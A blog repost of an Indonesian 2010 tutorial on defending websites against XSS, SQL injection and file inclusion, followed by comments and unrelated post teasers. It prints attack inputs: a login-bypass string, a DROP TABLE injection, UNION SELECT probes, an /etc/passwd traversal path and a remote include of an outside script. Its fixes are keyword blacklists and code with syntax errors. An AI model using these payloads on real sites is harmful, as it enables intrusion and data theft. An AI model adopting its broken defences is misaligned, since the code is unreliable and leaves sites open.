Skip to main content

Protecting Website from Common Attacks

------------------------------------------------------/
[-] Title : Protecting website from common attacks
[-] Date : 08-08-2010
[-] Author : vYc0d
[-] Contact : vyc0d@hackermail.com
[-] Web : http://vyc0d.blogspot.com
[-] Language : Indonesian
------------------------------------------------------/

Konten :
[1] Pendahuluan
[2] Cross Site Scripting
[3] SQL Injection
\_ Login Form Bypassing
\_ UNION SQL Injection
[4] File Inclusion
[5] Special Thanks

[1] Pendahuluan

Artikel ini akan berisi tentang empat jenis serangan web umum dan pencegahannya, yang digunakan
di sebagian besar jenis defacement. Lima eksploitasi umum yang saya cantumkan di bawah ini
adalah XSS, SQL injection, RFI dan LFI. Sebagian besar kesalahan terjadi pada pemrograman
yang memungkinkan attacker untuk dapat menyusup ke dalam website.

[2] Cross Site Scripting

Cross Site Scripting adalah jenis celah yang digunakan oleh attacker untuk menyuntikkan kode ke halaman
web yang rentan terhadap serangan ini. Jika sebuah situs rentan terhadap cross site scripting, attacker
kemungkinan besar akan mencoba untuk menyuntikkan situs dengan javascript berbahaya atau mencoba scam pengguna
dengan menciptakan bentuk halaman web yang hampir sama untuk mendapatkan informasi.

Example:

http://www.situs.net/find.php?all=">


*Solusi (javascript) :


function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g,"");
return strTemp;
}
[3] SQL Injection

*\_ Login Form Bypassing

Berikut adalah contoh kode yang dapat kita bisa bypass:

index.html file:



Password:





login.php file:

$execute = "SELECT * from database WHERE password = '{$_POST['pass'])";
$result = mysql_query($execute);
?>

Kita dapat bypass dengan menggunakan ' or '1=1', dan menjalankan "password = ''or '1=1'';".
Atau attacker dapat juga dapat menghapus database dengan menjalankan "' drop table database; --".

*Solusi :

Menggunakan mysql_real_escape_string

Contoh:



*\_ Union SQL Injection

Union SQL injection adalah ketika pengguna menggunakan perintah UNION. Memeriksa celah dengan menambahkannya
di akhir url "sebuah php?.id=". Jika terdapat error MySQL, situs tersebut kemungkinan besar
besar rentan terhadap UNION SQL Injection. Attacker melanjutkan menggunakan ORDER BY untuk menemukan kolom,
dan pada akhirnya, mereka menggunakan perintah UNION ALL SELECT.

Contoh :
http://www.situs.net/index.php?id=1'
salah satu contoh pesan error:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in.....

Setelah muncul pesan error,maka attacker melanjutkan aksinya ;))
http://www.situs.net/index.php?id=1 ORDER BY 1-- <-- No error. http://www.situs.net/index.php?id=1 ORDER BY 2-- <-- Muncul pesan error. Ini berarti hanya ada satu kolom http://www.situs.net/index.php?id=-1 UNION SELECT ALL version()-- <-- Memilih semua kolom dan menjalankan perintah version(). *Solusi : Tambahkan sesuatu seperti di bawah ini untuk mencegah SQL injection Union:

$bug = "(delete)|(update)|(union)|(insert)|(drop)|(http)|(--)|(/*)|(select)";
$patch = eregi_replace($bug, "", $patch);




[4] File Inclusion

\_ Remote File Inclusion dan Local File Inclusion

Remote File Inclusion adalah sebuah celah dimana situs mengizinkan attacker meng-includ file dari luar server.
Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat mengakses semua file di dalam server
dengan hanya melalui URL.

Contoh kode yang vulnerable :

Beberapa contoh serangan :
http://www.situs.net/page.php?page=../../../../../etc/passwd < contoh LFI http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt? < contoh RFI *Solusi :

Validate the input.
$page = $_GET['page'];
$allowed = array('index.php', 'games.php' 'ip.php');
$iplogger = ('ip.php');
if (in_array $page, $pages)) {
include $page {
else
{
include $iplogger
die("IP logged.");
}

[5] Special Thanks

[-] Allah SWT, Muhammad SAW
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)

Mirror : http://www.exploit-db.com/papers/14577/

Comments

vYc0d said…
@Fany
Weleh
klo mbulet tidur aja.wakakka
rh15c said…
two thumbs up.....
bro, am one of your fans

Popular posts from this blog

How To Enable DNS over HTTPS

  DNS over HTTPS (DoH) is a protocol for performing remote Domain Name System (DNS) resolution via the HTTPS protocol. A goal of the method is to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks by using the HTTPS protocol to encrypt the data between the DoH client and the DoH-based DNS resolver. An alternative to DoH is the DNS over TLS (DoT) protocol, a similar standard for encrypting DNS queries, differing only in the methods used for encryption and delivery. On the basis of privacy and security, whether or not a superior protocol exists among the two is a matter of controversial debate, while others argue the merits of either depend on the specific use case. Benefits DoH improves privacy by hiding domain name lookups from someone lurking on public WiFi, your ISP, or anyone else on your local network. DoH, when enabled, ensures that your ISP cannot collect and sell personal information related to your br...

10 reasons Websites get Hacked

Below you will find list of top 10 web vulnerabilities classified by OWASP, here is also description of the problem and some examples. I will just give you the list in case you missed it before, i will not comment on any of these as there is already hot discussion about this matter on several sites/forums. So here it starts: 1. Cross site scripting (XSS) The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks. Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder. Real-world example: PayPal was targete...

The Five Eyes - Intelligence Alliance

 The Five Eyes intelligence alliance is a secretive coalition and surveillance arrangement of countries internationally which include the United States National Security Agency (NSA), Canada’s Communications Security Establishment Canada (CSEC), the United Kingdom’s Government Communications Headquarters (GCHQ), New Zealand’s Government Communications Security Bureau (GCSB) and the Australian Signals Directorate (ASD). A series of bilateral agreements were developed in the beginning of 1946 by an alliance of five English-speaking countries over a period of time and became to known as the UKUSA agreement. This agreement established the Five Eyes alliance to share intelligence especially signals intelligence (SIGINT). These five English-speaking countries for almost 70 years have been involved in the global surveillance spying on the communications all over the world and build an infrastructure to master the internet for surveillance.